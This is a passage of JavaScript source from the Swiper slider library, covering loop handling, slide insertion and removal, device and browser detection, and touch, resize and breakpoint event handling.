swiper.setTranslate(
(rtl ? -swiper.translate : swiper.translate) - diff
);
}
}
swiper.allowSlidePrev = allowSlidePrev;
swiper.allowSlideNext = allowSlideNext;
}
function loopDestroy() {
var swiper = this;
var $wrapperEl = swiper.$wrapperEl;
var params = swiper.params;
var slides = swiper.slides;
$wrapperEl
.children(
'.' + params.slideClass + '.' + params.slideDuplicateClass
)
.remove();
slides.removeAttr('data-swiper-slide-index');
}
var loop = {
loopCreate: loopCreate,
loopFix: loopFix,
loopDestroy: loopDestroy,
};
function setGrabCursor(moving) {
var swiper = this;
if (
Support.touch ||
!swiper.params.simulateTouch ||
(swiper.params.watchOverflow && swiper.isLocked)
) {
return;
}
var el = swiper.el;
el.style.cursor = 'move';
el.style.cursor = moving ? '-webkit-grabbing' : '-webkit-grab';
el.style.cursor = moving ? '-moz-grabbin' : '-moz-grab';
el.style.cursor = moving ? 'grabbing' : 'grab';
}
function unsetGrabCursor() {
var swiper = this;
if (Support.touch || (swiper.params.watchOverflow && swiper.isLocked)) {
return;
}
swiper.el.style.cursor = '';
}
var grabCursor = {
setGrabCursor: setGrabCursor,
unsetGrabCursor: unsetGrabCursor,
};
function appendSlide(slides) {
var swiper = this;
var $wrapperEl = swiper.$wrapperEl;
var params = swiper.params;
if (params.loop) {
swiper.loopDestroy();
}
if (typeof slides === 'object' && 'length' in slides) {
for (var i = 0; i < slides.length; i += 1) {
if (slides[i]) {
$wrapperEl.append(slides[i]);
}
}
} else {
$wrapperEl.append(slides);
}
if (params.loop) {
swiper.loopCreate();
}
if (!(params.observer && Support.observer)) {
swiper.update();
}
}
function prependSlide(slides) {
var swiper = this;
var params = swiper.params;
var $wrapperEl = swiper.$wrapperEl;
var activeIndex = swiper.activeIndex;
if (params.loop) {
swiper.loopDestroy();
}
var newActiveIndex = activeIndex + 1;
if (typeof slides === 'object' && 'length' in slides) {
for (var i = 0; i < slides.length; i += 1) {
if (slides[i]) {
$wrapperEl.prepend(slides[i]);
}
}
newActiveIndex = activeIndex + slides.length;
} else {
$wrapperEl.prepend(slides);
}
if (params.loop) {
swiper.loopCreate();
}
if (!(params.observer && Support.observer)) {
swiper.update();
}
swiper.slideTo(newActiveIndex, 0, false);
}
function addSlide(index, slides) {
var swiper = this;
var $wrapperEl = swiper.$wrapperEl;
var params = swiper.params;
var activeIndex = swiper.activeIndex;
var activeIndexBuffer = activeIndex;
if (params.loop) {
activeIndexBuffer -= swiper.loopedSlides;
swiper.loopDestroy();
swiper.slides = $wrapperEl.children('.' + params.slideClass);
}
var baseLength = swiper.slides.length;
if (index <= 0) {
swiper.prependSlide(slides);
return;
}
if (index >= baseLength) {
swiper.appendSlide(slides);
return;
}
var newActiveIndex =
activeIndexBuffer > index
? activeIndexBuffer + 1
: activeIndexBuffer;
var slidesBuffer = [];
for (var i = baseLength - 1; i >= index; i -= 1) {
var currentSlide = swiper.slides.eq(i);
currentSlide.remove();
slidesBuffer.unshift(currentSlide);
}
if (typeof slides === 'object' && 'length' in slides) {
for (var i$1 = 0; i$1 < slides.length; i$1 += 1) {
if (slides[i$1]) {
$wrapperEl.append(slides[i$1]);
}
}
newActiveIndex =
activeIndexBuffer > index
? activeIndexBuffer + slides.length
: activeIndexBuffer;
} else {
$wrapperEl.append(slides);
}
for (var i$2 = 0; i$2 < slidesBuffer.length; i$2 += 1) {
$wrapperEl.append(slidesBuffer[i$2]);
}
if (params.loop) {
swiper.loopCreate();
}
if (!(params.observer && Support.observer)) {
swiper.update();
}
if (params.loop) {
swiper.slideTo(newActiveIndex + swiper.loopedSlides, 0, false);
} else {
swiper.slideTo(newActiveIndex, 0, false);
}
}
function removeSlide(slidesIndexes) {
var swiper = this;
var params = swiper.params;
var $wrapperEl = swiper.$wrapperEl;
var activeIndex = swiper.activeIndex;
var activeIndexBuffer = activeIndex;
if (params.loop) {
activeIndexBuffer -= swiper.loopedSlides;
swiper.loopDestroy();
swiper.slides = $wrapperEl.children('.' + params.slideClass);
}
var newActiveIndex = activeIndexBuffer;
var indexToRemove;
if (typeof slidesIndexes === 'object' && 'length' in slidesIndexes) {
for (var i = 0; i < slidesIndexes.length; i += 1) {
indexToRemove = slidesIndexes[i];
if (swiper.slides[indexToRemove]) {
swiper.slides.eq(indexToRemove).remove();
}
if (indexToRemove < newActiveIndex) {
newActiveIndex -= 1;
}
}
newActiveIndex = Math.max(newActiveIndex, 0);
} else {
indexToRemove = slidesIndexes;
if (swiper.slides[indexToRemove]) {
swiper.slides.eq(indexToRemove).remove();
}
if (indexToRemove < newActiveIndex) {
newActiveIndex -= 1;
}
newActiveIndex = Math.max(newActiveIndex, 0);
}
if (params.loop) {
swiper.loopCreate();
}
if (!(params.observer && Support.observer)) {
swiper.update();
}
if (params.loop) {
swiper.slideTo(newActiveIndex + swiper.loopedSlides, 0, false);
} else {
swiper.slideTo(newActiveIndex, 0, false);
}
}
function removeAllSlides() {
var swiper = this;
var slidesIndexes = [];
for (var i = 0; i < swiper.slides.length; i += 1) {
slidesIndexes.push(i);
}
swiper.removeSlide(slidesIndexes);
}
var manipulation = {
appendSlide: appendSlide,
prependSlide: prependSlide,
addSlide: addSlide,
removeSlide: removeSlide,
removeAllSlides: removeAllSlides,
};
var Device = (function Device() {
var ua = win.navigator.userAgent;
var device = {
ios: false,
android: false,
androidChrome: false,
desktop: false,
windows: false,
iphone: false,
ipod: false,
ipad: false,
cordova: win.cordova || win.phonegap,
phonegap: win.cordova || win.phonegap,
};
var windows = ua.match(/(Windows Phone);?[\s\/]+([\d.]+)?/); // eslint-disable-line
var android = ua.match(/(Android);?[\s\/]+([\d.]+)?/); // eslint-disable-line
var ipad = ua.match(/(iPad).*OS\s([\d_]+)/);
var ipod = ua.match(/(iPod)(.*OS\s([\d_]+))?/);
var iphone = !ipad && ua.match(/(iPhone\sOS|iOS)\s([\d_]+)/);
// Windows
if (windows) {
device.os = 'windows';
device.osVersion = windows[2];
device.windows = true;
}
// Android
if (android && !windows) {
device.os = 'android';
device.osVersion = android[2];
device.android = true;
device.androidChrome = ua.toLowerCase().indexOf('chrome') >= 0;
}
if (ipad || iphone || ipod) {
device.os = 'ios';
device.ios = true;
}
// iOS
if (iphone && !ipod) {
device.osVersion = iphone[2].replace(/_/g, '.');
device.iphone = true;
}
if (ipad) {
device.osVersion = ipad[2].replace(/_/g, '.');
device.ipad = true;
}
if (ipod) {
device.osVersion = ipod[3] ? ipod[3].replace(/_/g, '.') : null;
device.iphone = true;
}
// iOS 8+ changed UA
if (device.ios && device.osVersion && ua.indexOf('Version/') >= 0) {
if (device.osVersion.split('.')[0] === '10') {
device.osVersion = ua
.toLowerCase()
.split('version/')[1]
.split(' ')[0];
}
}
// Desktop
device.desktop = !(device.os || device.android || device.webView);
// Webview
device.webView =
(iphone || ipad || ipod) && ua.match(/.*AppleWebKit(?!.*Safari)/i);
// Minimal UI
if (device.os && device.os === 'ios') {
var osVersionArr = device.osVersion.split('.');
var metaViewport = doc.querySelector('meta[name="viewport"]');
device.minimalUi =
!device.webView &&
(ipod || iphone) &&
(osVersionArr[0] * 1 === 7
? osVersionArr[1] * 1 >= 1
: osVersionArr[0] * 1 > 7) &&
metaViewport &&
metaViewport.getAttribute('content').indexOf('minimal-ui') >= 0;
}
// Pixel Ratio
device.pixelRatio = win.devicePixelRatio || 1;
// Export object
return device;
})();
function onTouchStart(event) {
var swiper = this;
var data = swiper.touchEventsData;
var params = swiper.params;
var touches = swiper.touches;
if (swiper.animating && params.preventInteractionOnTransition) {
return;
}
var e = event;
if (e.originalEvent) {
e = e.originalEvent;
}
data.isTouchEvent = e.type === 'touchstart';
if (!data.isTouchEvent && 'which' in e && e.which === 3) {
return;
}
if (data.isTouched && data.isMoved) {
return;
}
if (
params.noSwiping &&
$(e.target).closest(
params.noSwipingSelector
? params.noSwipingSelector
: '.' + params.noSwipingClass
)[0]
) {
swiper.allowClick = true;
return;
}
if (params.swipeHandler) {
if (!$(e).closest(params.swipeHandler)[0]) {
return;
}
}
touches.currentX =
e.type === 'touchstart' ? e.targetTouches[0].pageX : e.pageX;
touches.currentY =
e.type === 'touchstart' ? e.targetTouches[0].pageY : e.pageY;
var startX = touches.currentX;
var startY = touches.currentY;
// Do NOT start if iOS edge swipe is detected. Otherwise iOS app (UIWebView) cannot swipe-to-go-back anymore
var edgeSwipeDetection =
params.edgeSwipeDetection || params.iOSEdgeSwipeDetection;
var edgeSwipeThreshold =
params.edgeSwipeThreshold || params.iOSEdgeSwipeThreshold;
if (
edgeSwipeDetection &&
(startX <= edgeSwipeThreshold ||
startX >= win.screen.width - edgeSwipeThreshold)
) {
return;
}
Utils.extend(data, {
isTouched: true,
isMoved: false,
allowTouchCallbacks: true,
isScrolling: undefined,
startMoving: undefined,
});
touches.startX = startX;
touches.startY = startY;
data.touchStartTime = Utils.now();
swiper.allowClick = true;
swiper.updateSize();
swiper.swipeDirection = undefined;
if (params.threshold > 0) {
data.allowThresholdMove = false;
}
if (e.type !== 'touchstart') {
var preventDefault = true;
if ($(e.target).is(data.formElements)) {
preventDefault = false;
}
if (
doc.activeElement &&
$(doc.activeElement).is(data.formElements) &&
doc.activeElement !== e.target
) {
doc.activeElement.blur();
}
if (preventDefault && swiper.allowTouchMove) {
e.preventDefault();
}
}
swiper.emit('touchStart', e);
}
function onTouchMove(event) {
var swiper = this;
var data = swiper.touchEventsData;
var params = swiper.params;
var touches = swiper.touches;
var rtl = swiper.rtlTranslate;
var e = event;
if (e.originalEvent) {
e = e.originalEvent;
}
if (!data.isTouched) {
if (data.startMoving && data.isScrolling) {
swiper.emit('touchMoveOpposite', e);
}
return;
}
if (data.isTouchEvent && e.type === 'mousemove') {
return;
}
var pageX = e.type === 'touchmove' ? e.targetTouches[0].pageX : e.pageX;
var pageY = e.type === 'touchmove' ? e.targetTouches[0].pageY : e.pageY;
if (e.preventedByNestedSwiper) {
touches.startX = pageX;
touches.startY = pageY;
return;
}
if (!swiper.allowTouchMove) {
// isMoved = true;
swiper.allowClick = false;
if (data.isTouched) {
Utils.extend(touches, {
startX: pageX,
startY: pageY,
currentX: pageX,
currentY: pageY,
});
data.touchStartTime = Utils.now();
}
return;
}
if (data.isTouchEvent && params.touchReleaseOnEdges && !params.loop) {
if (swiper.isVertical()) {
// Vertical
if (
(pageY < touches.startY &&
swiper.translate <= swiper.maxTranslate()) ||
(pageY > touches.startY &&
swiper.translate >= swiper.minTranslate())
) {
data.isTouched = false;
data.isMoved = false;
return;
}
} else if (
(pageX < touches.startX &&
swiper.translate <= swiper.maxTranslate()) ||
(pageX > touches.startX &&
swiper.translate >= swiper.minTranslate())
) {
return;
}
}
if (data.isTouchEvent && doc.activeElement) {
if (
e.target === doc.activeElement &&
$(e.target).is(data.formElements)
) {
data.isMoved = true;
swiper.allowClick = false;
return;
}
}
if (data.allowTouchCallbacks) {
swiper.emit('touchMove', e);
}
if (e.targetTouches && e.targetTouches.length > 1) {
return;
}
touches.currentX = pageX;
touches.currentY = pageY;
var diffX = touches.currentX - touches.startX;
var diffY = touches.currentY - touches.startY;
if (
swiper.params.threshold &&
Math.sqrt(Math.pow(diffX, 2) + Math.pow(diffY, 2)) <
swiper.params.threshold
) {
return;
}
if (typeof data.isScrolling === 'undefined') {
var touchAngle;
if (
(swiper.isHorizontal() &&
touches.currentY === touches.startY) ||
(swiper.isVertical() && touches.currentX === touches.startX)
) {
data.isScrolling = false;
} else {
// eslint-disable-next-line
if (diffX * diffX + diffY * diffY >= 25) {
touchAngle =
(Math.atan2(Math.abs(diffY), Math.abs(diffX)) * 180) /
Math.PI;
data.isScrolling = swiper.isHorizontal()
? touchAngle > params.touchAngle
: 90 - touchAngle > params.touchAngle;
}
}
}
if (data.isScrolling) {
swiper.emit('touchMoveOpposite', e);
}
if (typeof data.startMoving === 'undefined') {
if (
touches.currentX !== touches.startX ||
touches.currentY !== touches.startY
) {
data.startMoving = true;
}
}
if (data.isScrolling) {
data.isTouched = false;
return;
}
if (!data.startMoving) {
return;
}
swiper.allowClick = false;
e.preventDefault();
if (params.touchMoveStopPropagation && !params.nested) {
e.stopPropagation();
}
if (!data.isMoved) {
if (params.loop) {
swiper.loopFix();
}
data.startTranslate = swiper.getTranslate();
swiper.setTransition(0);
if (swiper.animating) {
swiper.$wrapperEl.trigger('webkitTransitionEnd transitionend');
}
data.allowMomentumBounce = false;
// Grab Cursor
if (
params.grabCursor &&
(swiper.allowSlideNext === true ||
swiper.allowSlidePrev === true)
) {
swiper.setGrabCursor(true);
}
swiper.emit('sliderFirstMove', e);
}
swiper.emit('sliderMove', e);
data.isMoved = true;
var diff = swiper.isHorizontal() ? diffX : diffY;
touches.diff = diff;
diff *= params.touchRatio;
if (rtl) {
diff = -diff;
}
swiper.swipeDirection = diff > 0 ? 'prev' : 'next';
data.currentTranslate = diff + data.startTranslate;
var disableParentSwiper = true;
var resistanceRatio = params.resistanceRatio;
if (params.touchReleaseOnEdges) {
resistanceRatio = 0;
}
if (diff > 0 && data.currentTranslate > swiper.minTranslate()) {
disableParentSwiper = false;
if (params.resistance) {
data.currentTranslate =
swiper.minTranslate() -
1 +
Math.pow(
-swiper.minTranslate() + data.startTranslate + diff,
resistanceRatio
);
}
} else if (diff < 0 && data.currentTranslate < swiper.maxTranslate()) {
disableParentSwiper = false;
if (params.resistance) {
data.currentTranslate =
swiper.maxTranslate() +
1 -
Math.pow(
swiper.maxTranslate() - data.startTranslate - diff,
resistanceRatio
);
}
}
if (disableParentSwiper) {
e.preventedByNestedSwiper = true;
}
// Directions locks
if (
!swiper.allowSlideNext &&
swiper.swipeDirection === 'next' &&
data.currentTranslate < data.startTranslate
) {
data.currentTranslate = data.startTranslate;
}
if (
!swiper.allowSlidePrev &&
swiper.swipeDirection === 'prev' &&
data.currentTranslate > data.startTranslate
) {
data.currentTranslate = data.startTranslate;
}
// Threshold
if (params.threshold > 0) {
if (Math.abs(diff) > params.threshold || data.allowThresholdMove) {
if (!data.allowThresholdMove) {
data.allowThresholdMove = true;
touches.startX = touches.currentX;
touches.startY = touches.currentY;
data.currentTranslate = data.startTranslate;
touches.diff = swiper.isHorizontal()
? touches.currentX - touches.startX
: touches.currentY - touches.startY;
return;
}
} else {
data.currentTranslate = data.startTranslate;
return;
}
}
if (!params.followFinger) {
return;
}
// Update active index in free mode
if (
params.freeMode ||
params.watchSlidesProgress ||
params.watchSlidesVisibility
) {
swiper.updateActiveIndex();
swiper.updateSlidesClasses();
}
if (params.freeMode) {
// Velocity
if (data.velocities.length === 0) {
data.velocities.push({
position:
touches[swiper.isHorizontal() ? 'startX' : 'startY'],
time: data.touchStartTime,
});
}
data.velocities.push({
position:
touches[swiper.isHorizontal() ? 'currentX' : 'currentY'],
time: Utils.now(),
});
}
// Update progress
swiper.updateProgress(data.currentTranslate);
// Update translate
swiper.setTranslate(data.currentTranslate);
}
function onTouchEnd(event) {
var swiper = this;
var data = swiper.touchEventsData;
var params = swiper.params;
var touches = swiper.touches;
var rtl = swiper.rtlTranslate;
var $wrapperEl = swiper.$wrapperEl;
var slidesGrid = swiper.slidesGrid;
var snapGrid = swiper.snapGrid;
var e = event;
if (e.originalEvent) {
e = e.originalEvent;
}
if (data.allowTouchCallbacks) {
swiper.emit('touchEnd', e);
}
data.allowTouchCallbacks = false;
if (!data.isTouched) {
if (data.isMoved && params.grabCursor) {
swiper.setGrabCursor(false);
}
data.isMoved = false;
data.startMoving = false;
return;
}
// Return Grab Cursor
if (
params.grabCursor &&
data.isMoved &&
data.isTouched &&
(swiper.allowSlideNext === true || swiper.allowSlidePrev === true)
) {
swiper.setGrabCursor(false);
}
// Time diff
var touchEndTime = Utils.now();
var timeDiff = touchEndTime - data.touchStartTime;
// Tap, doubleTap, Click
if (swiper.allowClick) {
swiper.updateClickedSlide(e);
swiper.emit('tap', e);
if (timeDiff < 300 && touchEndTime - data.lastClickTime > 300) {
if (data.clickTimeout) {
clearTimeout(data.clickTimeout);
}
data.clickTimeout = Utils.nextTick(function () {
if (!swiper || swiper.destroyed) {
return;
}
swiper.emit('click', e);
}, 300);
}
if (timeDiff < 300 && touchEndTime - data.lastClickTime < 300) {
if (data.clickTimeout) {
clearTimeout(data.clickTimeout);
}
swiper.emit('doubleTap', e);
}
}
data.lastClickTime = Utils.now();
Utils.nextTick(function () {
if (!swiper.destroyed) {
swiper.allowClick = true;
}
});
if (
!data.isTouched ||
!data.isMoved ||
!swiper.swipeDirection ||
touches.diff === 0 ||
data.currentTranslate === data.startTranslate
) {
data.isTouched = false;
data.isMoved = false;
data.startMoving = false;
return;
}
data.isTouched = false;
data.isMoved = false;
data.startMoving = false;
var currentPos;
if (params.followFinger) {
currentPos = rtl ? swiper.translate : -swiper.translate;
} else {
currentPos = -data.currentTranslate;
}
if (params.freeMode) {
if (currentPos < -swiper.minTranslate()) {
swiper.slideTo(swiper.activeIndex);
return;
}
if (currentPos > -swiper.maxTranslate()) {
if (swiper.slides.length < snapGrid.length) {
swiper.slideTo(snapGrid.length - 1);
} else {
swiper.slideTo(swiper.slides.length - 1);
}
return;
}
if (params.freeModeMomentum) {
if (data.velocities.length > 1) {
var lastMoveEvent = data.velocities.pop();
var velocityEvent = data.velocities.pop();
var distance =
lastMoveEvent.position - velocityEvent.position;
var time = lastMoveEvent.time - velocityEvent.time;
swiper.velocity = distance / time;
swiper.velocity /= 2;
if (
Math.abs(swiper.velocity) <
params.freeModeMinimumVelocity
) {
swiper.velocity = 0;
}
// this implies that the user stopped moving a finger then released.
// There would be no events with distance zero, so the last event is stale.
if (time > 150 || Utils.now() - lastMoveEvent.time > 300) {
swiper.velocity = 0;
}
} else {
swiper.velocity = 0;
}
swiper.velocity *= params.freeModeMomentumVelocityRatio;
data.velocities.length = 0;
var momentumDuration = 1000 * params.freeModeMomentumRatio;
var momentumDistance = swiper.velocity * momentumDuration;
var newPosition = swiper.translate + momentumDistance;
if (rtl) {
newPosition = -newPosition;
}
var doBounce = false;
var afterBouncePosition;
var bounceAmount =
Math.abs(swiper.velocity) *
20 *
params.freeModeMomentumBounceRatio;
var needsLoopFix;
if (newPosition < swiper.maxTranslate()) {
if (params.freeModeMomentumBounce) {
if (
newPosition + swiper.maxTranslate() <
-bounceAmount
) {
newPosition = swiper.maxTranslate() - bounceAmount;
}
afterBouncePosition = swiper.maxTranslate();
doBounce = true;
data.allowMomentumBounce = true;
} else {
newPosition = swiper.maxTranslate();
}
if (params.loop && params.centeredSlides) {
needsLoopFix = true;
}
} else if (newPosition > swiper.minTranslate()) {
if (params.freeModeMomentumBounce) {
if (
newPosition - swiper.minTranslate() >
bounceAmount
) {
newPosition = swiper.minTranslate() + bounceAmount;
}
afterBouncePosition = swiper.minTranslate();
doBounce = true;
data.allowMomentumBounce = true;
} else {
newPosition = swiper.minTranslate();
}
if (params.loop && params.centeredSlides) {
needsLoopFix = true;
}
} else if (params.freeModeSticky) {
var nextSlide;
for (var j = 0; j < snapGrid.length; j += 1) {
if (snapGrid[j] > -newPosition) {
nextSlide = j;
break;
}
}
if (
Math.abs(snapGrid[nextSlide] - newPosition) <
Math.abs(snapGrid[nextSlide - 1] - newPosition) ||
swiper.swipeDirection === 'next'
) {
newPosition = snapGrid[nextSlide];
} else {
newPosition = snapGrid[nextSlide - 1];
}
newPosition = -newPosition;
}
if (needsLoopFix) {
swiper.once('transitionEnd', function () {
swiper.loopFix();
});
}
// Fix duration
if (swiper.velocity !== 0) {
if (rtl) {
momentumDuration = Math.abs(
(-newPosition - swiper.translate) / swiper.velocity
);
} else {
momentumDuration = Math.abs(
(newPosition - swiper.translate) / swiper.velocity
);
}
} else if (params.freeModeSticky) {
swiper.slideToClosest();
return;
}
if (params.freeModeMomentumBounce && doBounce) {
swiper.updateProgress(afterBouncePosition);
swiper.setTransition(momentumDuration);
swiper.setTranslate(newPosition);
swiper.transitionStart(true, swiper.swipeDirection);
swiper.animating = true;
$wrapperEl.transitionEnd(function () {
if (
!swiper ||
swiper.destroyed ||
!data.allowMomentumBounce
) {
return;
}
swiper.emit('momentumBounce');
swiper.setTransition(params.speed);
swiper.setTranslate(afterBouncePosition);
$wrapperEl.transitionEnd(function () {
if (!swiper || swiper.destroyed) {
return;
}
swiper.transitionEnd();
});
});
} else if (swiper.velocity) {
swiper.updateProgress(newPosition);
swiper.setTransition(momentumDuration);
swiper.setTranslate(newPosition);
swiper.transitionStart(true, swiper.swipeDirection);
if (!swiper.animating) {
swiper.animating = true;
$wrapperEl.transitionEnd(function () {
if (!swiper || swiper.destroyed) {
return;
}
swiper.transitionEnd();
});
}
} else {
swiper.updateProgress(newPosition);
}
swiper.updateActiveIndex();
swiper.updateSlidesClasses();
} else if (params.freeModeSticky) {
swiper.slideToClosest();
return;
}
if (!params.freeModeMomentum || timeDiff >= params.longSwipesMs) {
swiper.updateProgress();
swiper.updateActiveIndex();
swiper.updateSlidesClasses();
}
return;
}
// Find current slide
var stopIndex = 0;
var groupSize = swiper.slidesSizesGrid[0];
for (var i = 0; i < slidesGrid.length; i += params.slidesPerGroup) {
if (typeof slidesGrid[i + params.slidesPerGroup] !== 'undefined') {
if (
currentPos >= slidesGrid[i] &&
currentPos < slidesGrid[i + params.slidesPerGroup]
) {
stopIndex = i;
groupSize =
slidesGrid[i + params.slidesPerGroup] - slidesGrid[i];
}
} else if (currentPos >= slidesGrid[i]) {
stopIndex = i;
groupSize =
slidesGrid[slidesGrid.length - 1] -
slidesGrid[slidesGrid.length - 2];
}
}
// Find current slide size
var ratio = (currentPos - slidesGrid[stopIndex]) / groupSize;
if (timeDiff > params.longSwipesMs) {
// Long touches
if (!params.longSwipes) {
swiper.slideTo(swiper.activeIndex);
return;
}
if (swiper.swipeDirection === 'next') {
if (ratio >= params.longSwipesRatio) {
swiper.slideTo(stopIndex + params.slidesPerGroup);
} else {
swiper.slideTo(stopIndex);
}
}
if (swiper.swipeDirection === 'prev') {
if (ratio > 1 - params.longSwipesRatio) {
swiper.slideTo(stopIndex + params.slidesPerGroup);
} else {
swiper.slideTo(stopIndex);
}
}
} else {
// Short swipes
if (!params.shortSwipes) {
swiper.slideTo(swiper.activeIndex);
return;
}
if (swiper.swipeDirection === 'next') {
swiper.slideTo(stopIndex + params.slidesPerGroup);
}
if (swiper.swipeDirection === 'prev') {
swiper.slideTo(stopIndex);
}
}
}
function onResize() {
var swiper = this;
var params = swiper.params;
var el = swiper.el;
if (el && el.offsetWidth === 0) {
return;
}
// Breakpoints
if (params.breakpoints) {
swiper.setBreakpoint();
}
// Save locks
var allowSlideNext = swiper.allowSlideNext;
var allowSlidePrev = swiper.allowSlidePrev;
var snapGrid = swiper.snapGrid;
// Disable locks on resize
swiper.allowSlideNext = true;
swiper.allowSlidePrev = true;
swiper.updateSize();
swiper.updateSlides();
if (params.freeMode) {
var newTranslate = Math.min(
Math.max(swiper.translate, swiper.maxTranslate()),
swiper.minTranslate()
);
swiper.setTranslate(newTranslate);
swiper.updateActiveIndex();
swiper.updateSlidesClasses();
if (params.autoHeight) {
swiper.updateAutoHeight();
}
} else {
swiper.updateSlidesClasses();
if (
(params.slidesPerView === 'auto' || params.slidesPerView > 1) &&
swiper.isEnd &&
!swiper.params.centeredSlides
) {
swiper.slideTo(swiper.slides.length - 1, 0, false, true);
} else {
swiper.slideTo(swiper.activeIndex, 0, false, true);
}
}
// Return locks after resize
swiper.allowSlidePrev = allowSlidePrev;
swiper.allowSlideNext = allowSlideNext;
if (swiper.params.watchOverflow && snapGrid !== swiper.snapGrid) {
swiper.checkOverflow();
}
}
function onClick(e) {
var swiper = this;
if (!swiper.allowClick) {
if (swiper.params.preventClicks) {
e.preventDefault();
}
if (swiper.params.preventClicksPropagation && swiper.animating) {
e.stopPropagation();
e.stopImmediatePropagation();
}
}
}
function attachEvents() {
var swiper = this;
var params = swiper.params;
var touchEvents = swiper.touchEvents;
var el = swiper.el;
var wrapperEl = swiper.wrapperEl;
{
swiper.onTouchStart = onTouchStart.bind(swiper);
swiper.onTouchMove = onTouchMove.bind(swiper);
swiper.onTouchEnd = onTouchEnd.bind(swiper);
}
swiper.onClick = onClick.bind(swiper);
var target = params.touchEventsTarget === 'container' ? el : wrapperEl;
var capture = !!params.nested;
// Touch Events
{
if (
!Support.touch &&
(Support.pointerEvents || Support.prefixedPointerEvents)
) {
target.addEventListener(
touchEvents.start,
swiper.onTouchStart,
false
);
doc.addEventListener(
touchEvents.move,
swiper.onTouchMove,
capture
);
doc.addEventListener(touchEvents.end, swiper.onTouchEnd, false);
} else {
if (Support.touch) {
var passiveListener =
touchEvents.start === 'touchstart' &&
Support.passiveListener &&
params.passiveListeners
? { passive: true, capture: false }
: false;
target.addEventListener(
touchEvents.start,
swiper.onTouchStart,
passiveListener
);
target.addEventListener(
touchEvents.move,
swiper.onTouchMove,
Support.passiveListener
? { passive: false, capture: capture }
: capture
);
target.addEventListener(
touchEvents.end,
swiper.onTouchEnd,
passiveListener
);
}
if (
(params.simulateTouch && !Device.ios && !Device.android) ||
(params.simulateTouch && !Support.touch && Device.ios)
) {
target.addEventListener(
'mousedown',
swiper.onTouchStart,
false
);
doc.addEventListener(
'mousemove',
swiper.onTouchMove,
capture
);
doc.addEventListener('mouseup', swiper.onTouchEnd, false);
}
}
// Prevent Links Clicks
if (params.preventClicks || params.preventClicksPropagation) {
target.addEventListener('click', swiper.onClick, true);
}
}
// Resize handler
swiper.on(
Device.ios || Device.android
? 'resize orientationchange observerUpdate'
: 'resize observerUpdate',
onResize,
true
);
}
function detachEvents() {
var swiper = this;
var params = swiper.params;
var touchEvents = swiper.touchEvents;
var el = swiper.el;
var wrapperEl = swiper.wrapperEl;
var target = params.touchEventsTarget === 'container' ? el : wrapperEl;
var capture = !!params.nested;
// Touch Events
{
if (
!Support.touch &&
(Support.pointerEvents || Support.prefixedPointerEvents)
) {
target.removeEventListener(
touchEvents.start,
swiper.onTouchStart,
false
);
doc.removeEventListener(
touchEvents.move,
swiper.onTouchMove,
capture
);
doc.removeEventListener(
touchEvents.end,
swiper.onTouchEnd,
false
);
} else {
if (Support.touch) {
var passiveListener =
touchEvents.start === 'onTouchStart' &&
Support.passiveListener &&
params.passiveListeners
? { passive: true, capture: false }
: false;
target.removeEventListener(
touchEvents.start,
swiper.onTouchStart,
passiveListener
);
target.removeEventListener(
touchEvents.move,
swiper.onTouchMove,
capture
);
target.removeEventListener(
touchEvents.end,
swiper.onTouchEnd,
passiveListener
);
}
if (
(params.simulateTouch && !Device.ios && !Device.android) ||
(params.simulateTouch && !Support.touch && Device.ios)
) {
target.removeEventListener(
'mousedown',
swiper.onTouchStart,
false
);
doc.removeEventListener(
'mousemove',
swiper.onTouchMove,
capture
);
doc.removeEventListener(
'mouseup',
swiper.onTouchEnd,
false
);
}
}
// Prevent Links Clicks
if (params.preventClicks || params.preventClicksPropagation) {
target.removeEventListener('click', swiper.onClick, true);
}
}
// Resize handler
swiper.off(
Device.ios || Device.android
? 'resize orientationchange observerUpdate'
: 'resize observerUpdate',
onResize
);
}
var events = {
attachEvents: attachEvents,
detachEvents: detachEvents,
};
function setBreakpoint() {
var swiper = this;
var activeIndex = swiper.activeIndex;
var initialized = swiper.initialized;
var loopedSlides = swiper.loopedSlides;
if (loopedSlides === void 0) loopedSlides = 0;
var params = swiper.params;
var breakpoints = params.breakpoints;
if (
!breakpoints ||
(breakpoints && Object.keys(breakpoints).length === 0)
) {
return;
}
// Set breakpoint for window width and update parameters
var breakpoint = swiper.getBreakpoint(breakpoints);
if (breakpoint && swiper.currentBreakpoint !== breakpoint) {
var breakPointsParams =
breakpoint in breakpoints
? breakpoints[breakpoint]
: swiper.originalParams;
var needsReLoop =
params.loop &&
breakPointsParams.slidesPerView !== params.slidesPerView;
Utils.extend(swiper.params, breakPointsParams);
Utils.extend(swiper, {
allowTouchMove: swiper.params.allowTouchMove,
allowSlideNext: swiper.params.allowSlideNext,
allowSlidePrev: swiper.params.allowSlidePrev,
});
swiper.currentBreakpoint = breakpoint;
if (needsReLoop && initialized) {
swiper.loopDestroy();
swiper.loopCreate();
swiper.updateSlides();
swiper.slideTo(
activeIndex - loopedSlides + swiper.loopedSlides,
0,
false
);
}
swiper.emit('breakpoint', breakPointsParams);
}
}
function getBreakpoint(breakpoints) {
// Get breakpoint for window width
if (!breakpoints) {
return undefined;
}
var breakpoint = false;
var points = [];
Object.keys(breakpoints).forEach(function (point) {
points.push(point);
});
points.sort(function (a, b) {
return parseInt(a, 10) - parseInt(b, 10);
});
for (var i = 0; i < points.length; i += 1) {
var point = points[i];
if (point >= win.innerWidth && !breakpoint) {
breakpoint = point;
}
}
return breakpoint || 'max';
}
var breakpoints = {
setBreakpoint: setBreakpoint,
getBreakpoint: getBreakpoint,
};
var Browser = (function Browser() {
function isSafari() {
var ua = win.navigator.userAgent.toLowerCase();
return (
ua.indexOf('safari') >= 0 &&
ua.indexOf('chrome') < 0 &&
ua.indexOf('android') < 0
);
}
return {
isIE:
!!win.navigator.userAgent.match(/Trident/g) ||
!!win.navigator.userAgent.match(/MSIE/g),
isSafari: isSafari(),
isUiWebView: /(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(
win.navigator.userAgent
),
};
})();
function addClasses() {
var swiper = this;
var classNames = swiper.classNames;
var params = swiper.params;
var rtl = swiper.rtl;
var $el = swiper.$el;
var suffixes = [];
suffixes.push(params.direction);
if (params.freeMode) {
suffixes.push('free-mode');
}
if (!Support.flexbox) {
suffixes.push('no-flexbox');
}
if (params.autoHeight) {
suffixes.push('autoheight');
}
if (rtl) {
suffixes.push('rtl');
}
if (params.slidesPerColumn > 1) {
suffixes.push('multirow');
}
if (Device.android) {
suffixes.push('android');
}
if (Device.ios) {
suffixes.push('ios');
}
// WP8 Touch Events Fix
if (
Browser.isIE &&
